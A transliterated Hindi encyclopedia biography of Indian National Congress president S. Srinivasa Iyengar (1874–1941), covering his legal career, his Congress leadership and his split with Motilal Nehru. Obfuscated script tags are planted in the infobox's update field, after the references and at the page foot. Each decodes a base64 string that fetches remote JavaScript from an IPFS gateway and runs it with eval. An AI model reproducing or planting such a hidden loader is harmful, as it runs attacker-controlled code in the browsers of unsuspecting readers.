एस. श्रीनिवास आयंगार
es. shrinivas ayangar
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| janm | 11 sitambar, 1874 |
| janm bhoomi | ramanathapuram (ramanad) jila madras |
| mrityu | 19 mee, 1941 |
| nagarikata | bharatiy |
| parti | bharatiy rashtriy kaangres |
| kary kal | 1916 se 1920 -bharatiy rashtriy kaangres ke adhyaksh |
| any janakari | disambar 1927) mean unake prayasoan ko saphalata mili, jahaan par hindoo musalamanoan ki ekata ke prastav ko poorn samarthan se parit kar diya gaya. |
| adyatan | 18:24, 3 joon 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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es. shrinivas ayangar (aangrezi: S. Srinivasa Iyengar, janm: 11 sitambar, 1874,ramanathapuram (ramanad) jila madras; mrityu: 19 mee, 1941) bharatiy rashtriy kaangres ke adhyaksh v bharatiy vakil the.[1]
jivan parichay
ek rudhivadi shri vaishnav brahman tatha ramanathapuram (ramanad) jila madras ke pratishthit dhanadhy jamiandar ke putr ke roop mean shrinivas 11 sitambar 1874 ko paida hue. shrinivas ayangar ne 1898 mean madras uchch nyayalay mean praiktis prarambh ki aur avishvasaniy roop se tho de samay mean hi ve apane peshe mean uchch sthan hasil kar liya.[1] hindoo dharm shastroan tatha vidhishastr aur sanvidhani kanoon ke gauravagranthoan ke gahare jnan ke sath-sath unake jaanch p datal karane vale maulik dimag ne unhean khud-b-khud kanooni vicharak bana diya aur unake metanas hindoo kanoon ke sanskaran ko ek gaurav granth mana gaya. kanoon ke alava, unake any shauk shiksha, samajik sudhar tatha rajaniti the. sar shankaran nayar (jinhoanne amarauti kaangres ka adhyaksh pad sanbhala) tatha shri si. vijayaraghavachariyar (jinhoanne 1920 mean nagapur kaangres ka adhyaksh pad sanbhala) the, jinhoanne shuruati taur par unhean prabhavit kiya. vah gokhale (jinake nam par unhoanne ek paritoshik ke liye dhan pradan kiya) tatha bad mean gaandhi ji ke prashansak the.[1]
rajanaitik kariyar ki shuruat
lagabhag 1910 ke bad shrinivas ayangar ne bharat mean vikasit hoti huee rajanitik sthiti ke bare mean dilachaspi mahasoos ki, 1920 mean hi unhoanne edavoket janaral ke pad se tyagapatr dene ke bad rajaniti mean chhalaang lagayi. 1920 mean tripoli mean unhoanne madras prantiy sabha ka adhyaksh pad sanbhala, behatarin tarike se chalati huee vakalat ko chho d diya. vaidhanik samiti (jisake liye rajistard snatak ke roop mean vah vapas laut kar gaye) ki sadasyata se tyag patr diya, sarakar ko si0aee0ee0 lauta diya aur kaangres ke kamoan mean pramukhata se bhag liya. unhoanne ahamadabad (1921) se lahaur (1929) ke kaangres ke adhiveshanoan mean sakriy taur par hissa liya, aur lagabhag 10 varshoan tak madras mean kaangres ki lajavab aguaee ki. kaangres ke sabha-pravesh par phaisala lene ke bad unhoanne 1925 mean parti ka madras mean vijay prapt karane ke liye margadarshan kiya, aur madras se kendriy sabha ke liye chune gaye, aur us samay ke dauran jab motilal neharoo bharat mean nahian the, unhoanne neta ke roop mean kary kiya.[1]
vyaktigat jivan
madras mean apani vyapak shaikshik yatraoan ke jariye, door-door ke gaanvoan tak vah rashtravad ka sandesh le gaye aur yah unaka nam hi tha ki unhoanne madras prant ko kaangres-may bana diya. unaki mahan bauddhik khyati, unake vyaktigat jivan ki anokhi pavitrata tatha bharat ki svatantrata ke mamale mean unaki shaktishali vakalat ne poore bharat mean asankhy prashansakoan ka dil jit liya. virudhunagar ke yuva kamaraj shrinivas ayangar ki kee khojoan mean se ek the aur unake pakke samarthakoan mean satyamoorti, muthuranga mudaliyar tatha subhashachandr bos the. shrinivas ayangar ‘‘ju de hue netritv’’ mean vishvas rakhate the, jisake liye vah manate the ki asali neta ko rajanitik sangathan mean tatha gaanv se lekar shaharoan tak sabhi star, har dhaanche ke sath arthapoorn sampark ko banaye rakhana chahiye. hal ke dashakoan mean, unake adarshoan ko uchch saphalata ke liye prayog mean laya gaya hai.[1]
rajanaitik saphar
es. shrinivas ayangar ne (disambar 1926) ke dauran bharatiy rashtriy kaangres ke guvahati adhiveshan mean adhyaksh pad sanbhala aur adhyaksh pad par seva avadhi ke dauran hindoo tatha musalamanoan ke sampradayoan ke netaoan ke punarmilan ke liye kaphi kuchh kiya aur madras kaangres (disambar 1927) mean unake prayasoan ko saphalata mili, jahaan par hindoo musalamanoan ki ekata ke prastav ko poorn samarthan se parit kar diya gaya. isi samay ke dauran unhoanne bhavishy ki bharat ki sarakar ki sanghatmak niti ka khulasa karate hue, ‘‘svaraj kaanstityooshan’’ ka prakashan kiya. jab 1928 mean svatantr upanivesh vale darje ko rekhaankit karane vale bharat ke sanvidhan par sarvadaliy riport (jise neharu riport ke nam se jana jata tha) ka prakashan hua to shrinivas ayangar ne svayan ko adhyaksh tatha javahar lal neharu aur subhash chandr bos ko sachiv ke roop mean niyukt kar svatantr lig ko sangathit kiya.[1]
motilal neharoo aur shrinivas ayangar
motilal neharu tatha shrinivas ayangar ke bich ‘‘svatantr upanivesh darje’’ tatha ‘‘svatantrata’’ ke mamale mean 1929 ke dauran matabhed kaphi badh gaye aur halaanki disambar 1929 mean lahaur kaangres mean svatantrata ke paksh mean antim nirnay le liya gaya, shrinivas ayangar ne 1930 ke prarambh mean sakriy sarvajanik jivan se sevanivritt hone ka svayan hi phaisala le liya.[1]
mrityu
phir bhi, 1939 mean ek sangathan karyakarta ki apeksha joshile rajanitik vicharak ke roop mean tho de samay ke liye rajanitik jivan mean laute. 19 mee ko madras mean apane ghar par unaki akasmat mrityu ho gayi. nisandeh shrinivas bahut buddhiman, bahut gatishil tatha yuddh ke dauran dakshin bharat ke netaoan mean sabase jyada bahumukhi the.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 1.4 1.5 1.6 1.7 es. shrinivas ayangar (hindi) indian National Congress. abhigaman tithi: 3 joon, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>